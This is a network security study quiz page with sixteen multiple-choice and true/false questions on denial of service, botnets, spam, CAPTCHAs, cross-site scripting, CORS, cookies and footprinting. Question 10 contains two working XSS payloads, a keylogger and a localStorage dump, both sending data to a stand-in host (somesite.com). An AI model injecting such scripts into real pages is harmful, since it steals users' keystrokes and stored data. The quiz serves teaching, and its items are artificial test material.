Quiz
NS Study Questions
Create a free account to finish this quiz
Save your progress and see your final score.
Already have an account? Sign in
Questions in this quiz (16)
1Denial-of-Service attacks can happen at any layer of the OSI model.
- ATrue
- BFalse
2Which of the following statements about the Storm botnet is INCORRECT?
- AThe Storm botnet uses a central command-and-control server.
- BThe Storm botnet hierarchy consists of several levels.
- CThe Storm botnet uses email to propagate.
- DIn the Storm botnet, proxy bots can be accessed externally.
3The goal of network DoS is to take out a large site or network using as little computing power as possible.
- ATrue
- BFalse
4A Network Time Protocol (NTP) server runs on UDP port 123. An attacker can perform an amplification attack using NTP by repeatedly sending small UDP packets to the server.
- ATrue
- BFalse
5Which of the following statements is/are true about spam?
- ASpam is usually sent to a large number of recipients.
- BSpam is used to spread malware.
- CBotnets can be used to send spam
- DAll of the above
6Which of the following statements about CAPTCHAs are TRUE?
I. CAPTCHA stands for "Completely Automated Public Turing test to tell Computers and Humans Apart."
II. CAPTCHAs are designed to be difficult for machines to solve but easy for humans.
III. CAPTCHAs can be used to mitigate denial of service attacks.
IV. The purpose of CAPTCHAs is to prove that a human made the request.- AI
- BII and III
- CII and IV
- DI, II, III, and IV
- EIV
7In 2015, GitHub was a victim of a distributed denial of service attack. The attackers injected malicious JavaScript code in GitHub's web pages.
- ATrue
- BFalse
8Which of the following statements about the Traffic Validation Architecture is correct?
- AThey do not require a difficult inference problem to be solved
- BAttacker's cannot spoof them.
- CThey are not foiled by end-to-end encryption
- DAll of the Above
9In the reading: "Securing Frame Communication in Browsers", the authors proposed including a new parameter in the postMessage browser API which can be used to specify the origin of the intended recipient. This new parameter would help in ensuring the confidentiality of the message.
- ATrue
- BFalse
10Which of the following code snippets is NOT a cross-site scripting attack?
- A<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" />
- B<script>window.location = "http://www.omscs.gatech.edu/";</script>
- C$('#w').contents().keypress(function(event) {$.get('http://www.somesite.com/k.php?x='+event.which+'&t='+event.timeStamp,function(data){});});
- Dif ('localStorage' in window && window['localStorage'] !== null) { new Image().src = 'http://somesite.com/log.php?localStorage='+JSON.stringify(window['localStorage']); }
11A security company controls two websites “goodsecurity.com” and “learnhacking.com”. A web page from “goodsecurity.com” wants to access content from the server of “learnhacking.com”. Which of the following mechanisms can be used by the developers at “learnhacking.com” to allow “goodsecurity.com” to access their content?
- AContent Security Policy
- BAllow Page Access Policy
- CCross Origin Resource Sharing
- DSame Origin Policy
- ENone of the other answer choices are correct.
12Which of the following is/are footprinting in pentesting:
- AReconnaissance and Information gathering.
- BFinding target IP domain
- CName space acquisition.
- DAll of the above
13Subresource integrity uses cryptographic hash to make sure that a webpage subresources are delivered without changes.
- ATrue
- BFalse
14Cookie 1 information: name=cookie1; domain: cs6262.gatech.com; path: /canvas
Cookie 2 information: name=cookie2; domain: cs6262.gatech.edu; path: /
Which of the following is true about the above cookies information- ASince both cookies have the same path, the browser can send cookie1 to both domains (cs6262.gatech.com & cs6262.gatech.edu)
- BThe browser can send cookie2 to mail.cs6262.gatech.edu host
- Ccs6262.gatech.com can access the cookie2 since .com top-level domain (TLD) takes higher precedence than the .edu TLD
- DNone of the above
15Social Engineering is very expensive for attackers. Attackers need specialized equipment or skills.
- ATrue
- BFalse
16Google can be used for footprinting.
- ATrue
- BFalse
Information
- Description
- Quiz on NS Study Questions, created by Chris Butler on 21/01/2022.
- Author
- Chris Butler
- Language
- English
- Views
- 0
- Rating
- No ratings yet Rate this quiz